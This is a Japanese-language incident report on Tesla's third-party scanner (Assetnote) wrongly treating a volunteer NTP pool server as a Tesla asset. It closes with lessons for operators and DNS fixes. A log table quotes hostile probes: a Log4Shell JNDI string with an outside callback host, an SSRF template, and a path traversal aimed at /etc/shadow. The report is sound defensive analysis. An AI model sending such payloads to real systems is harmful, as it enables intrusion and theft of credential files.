テスラのAssetnoteスキャナーがボランティアNTPサーバーを誤って標的としている

TL;DR

テスラのサードパーティ脆弱性スキャナー（Assetnote）は、ボランティアNTPプールサーバー pool-ntp.tesla.com をテスラ所有のホストと誤認し、Log4Shell、SSRF、一般的なWebアプリケーションプローブなどを含む数千回の自動化された攻撃試行をこのサーバーに送信している。

実際の出来事は何か？

3つのAWS IP（54.165.75.96、35.168.63.24、52.44.200.251）が、個人のサーバー（NTPプールインスタンスも稼働中）67.215.249.229 に対して大量のHTTPリクエストを送信した。

リクエストには Host または Referer ヘッダーが pool-ntp.tesla.com に設定されていた。
User-Agent文字列は Assetnote/1.0.0 (ExposureScan) であり、トラフィックがAssetnoteの継続的暴露スキャンプラットフォーム（現在は Searchlight Cyber としてマーケティングされている）から来ていることを示している。
ペイロードにはJNDIスタイルのLog4Shellベクター、SSRFテンプレート、パストラバーサル試行、WordPressプローブ、さまざまなWebシェルアップロード試行が含まれていた。
2026年8月21日以降、50,000件以上のリクエストが記録されており、2日間で約8,000件が記録されている。

サーバーは非標準のHTTP 299ステータスと、状況を説明するプレーンテキストの通知を返したが、スキャン活動は継続した。

なぜこのサーバーが標的になったのか？

間違ったCNAMEチェーンの解決

テスラのDNSエントリ – pool-ntp.tesla.com は pool.ntp.org へのCNAMEである。
NTPプールの挙動 – pool.ntp.org はラウンドロビンDNSサービスであり、世界中のボランティアNTPサーバー（OPのマシンも含む）に解決される。
Assetnoteのアセット発見 – Assetnoteは、tesla.com 下のすべてのホスト名を列挙し、解決して、すべての結果として得られるIP をアクティブスキャンの対象範囲（インスコープ）として扱っているように見える。
結果 – スキャナーはOPのIPをターゲットリストに追加し、それがテスラ所有の資産であるかのようにプローブを開始した。

"あなたのアセット発見は、pool-ntp.tesla.com が解決できるすべてのIPを、意図せずインスコープのアクティブスキャン対象として含んでいるように見えます。" – Robin（OPのメールによるテスラへの連絡）

プローブトラフィックの技術的詳細

特徴	例	目的
Log4Shell / Text4Shell	`GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>`	`*.assetnote-callback.com` へのコールバックを使って、脆弱なLog4j/JNDIパーサーを検出する。
SSRF検出	`GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a}`	ターゲットが `pool-ntp.tesla.com` の下にあるホスト名を解決させ、コールバックドメイン経由で報告させる。
パストラバーサル	`GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow`	ディレクトリトラバーサルペイロードを使って `/etc/shadow` を読み取ろうとする。
ASP.NETのトリック	`GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll` に `Host: login.solarcity.com` を設定	ASP.NETルーティングの不具合を検出するためのプローブ、おそらく `/bin/` に到達するため。
ランダムなサードパーティホスト名	`servicemcdonalds.com`、`saferas.com`、`disneyfineart.com` がクエリ文字列に埋め込まれている	スキャナーが多数の関係のないホスト名を含む大きなテンプレートライブラリを再利用していることを示している。
内部ネットワークプローブ	`Referer: http://192.168.178.222/...`	スキャナーがRFC 1918アドレスにもアクセスしようとしていることを示しており、おそらく「すべての到達可能なポートをスキャンする」一般的なルーチンの一環である。

スキャナーはHTTP以外のポート（SSH、Postfix、Dovecot）にもHTTPトラフィックを送信しており、網羅的なポートスキャンアプローチであることを示している。

被害サーバーへの影響

成功した侵入はなし – すべての試行は拒否された；サーバーのサービスは健全のままだった。
ログの量 – 50,000件以上、ログ処理に帯域幅とCPUサイクルを消費した。
運用上のノイズ – OPは、ログを確認する人間にとって問題が可視化されるように、カスタムの299応答と警告ページを追加しなければならなかった。
潜在的な付随的被害 – スキャナーが同じホスト上の脆弱なサービス（例：古くなったWordPressインストール）に命中した場合、実際の侵害につながる可能性がある。

コミュニティの反応と広範な文脈

他のNTPプールオペレータも同様のトラフィックを確認 – マット・ノードフが自身のプールサーバーでも、同じ3つのAWS IPからの類似したリクエスト数を報告している。
バグバウンティの視点 – バグバウンティ研究者のコメントによると、*.tesla.com はBugcrowd上でインスコープとしてリストアップされているため、自動化されたエージェントはそのドメイン下で解決されたすべてのIPをプローブする。
ベンダーゾーンの推奨 – 複数のコメントで、ベンダーはNTPプールのベンダーガイドラインに従い、ntp.tesla.com のような専用DNSゾーンを使用すべきだと指摘されている。
法的・修復の提案 – 一部はAssetnoteに直接連絡し、AWSに報告する、またはテスラの脆弱性報告アドレスに苦情を提出することを提案している。他は、このトラフィックは「インターネット公開サービスの新しい常識」だと主張している。

ボランティアサービス運営者への教訓

ブランド所有のサブドメインにパブリックプールへのCNAMEを使用しない – 第三者アセットインベントリに誤って含められないように、専用のベンダーゾーンを使用する。
予期しない Host/Referer 値の監視 – スキャナーはしばしばターゲットホスト名を埋め込んだテンプレートを再利用する；異常な値は誤認を示す可能性がある。
レート制限とカスタムステータスコードの実装 – OPの299応答は、正当なクライアントを壊さずに不審なトラフィックをマークする賢い方法である。
スキャンベンダーとの連絡チャネルの維持 – Assetnote（Searchlight Cyber）は誤検出報告に対して一般的に迅速に対応する；ログの抜粋を含む簡潔なメールはホワイトリスト化を引き起こす可能性がある。
IPレベルのブロッキングは最終手段とする – 3つのAWS IPをブロックするとノイズは止まるが、他の顧客の正当なスキャンもブロックしてしまう可能性がある。

テスラ（およびAssetnote）がすべきこと

DNS設定の修正 – pool.ntp.org へのCNAMEを、テスラが制御する専用NTPエンドポイントに変更するか、サブドメインを完全に削除する。
アセット発見ロジックの修正 – パブリックプールに解決されるホスト名は、明示的に承認されない限り、クライアントのインスコープアセットリストから除外されるようにする。
修復チャネルの提供 – OPの報告を認識し、スキャンポリシーを更新し、NTPプールコミュニティに簡単な声明を発表する。
他のサブドメインの監査 – 他のテスラ所有の名前が、類似した付随的スキャンを引き起こす可能性のある共有インフラに誤って指向していないか確認する。

最後に

テスラのサードパーティスキャナーは、ボランティアNTPプールサーバーをテスラ資産と誤認し、関係のない趣味のインフラに対して数千回の自動化された攻撃試行を実行した。この出来事は、企業のサブドメインにパブリックCNAMEを使用するリスクを浮き彫りにし、自動脆弱性暴露プラットフォームにおけるアセット範囲の慎重な定義の必要性を強調している。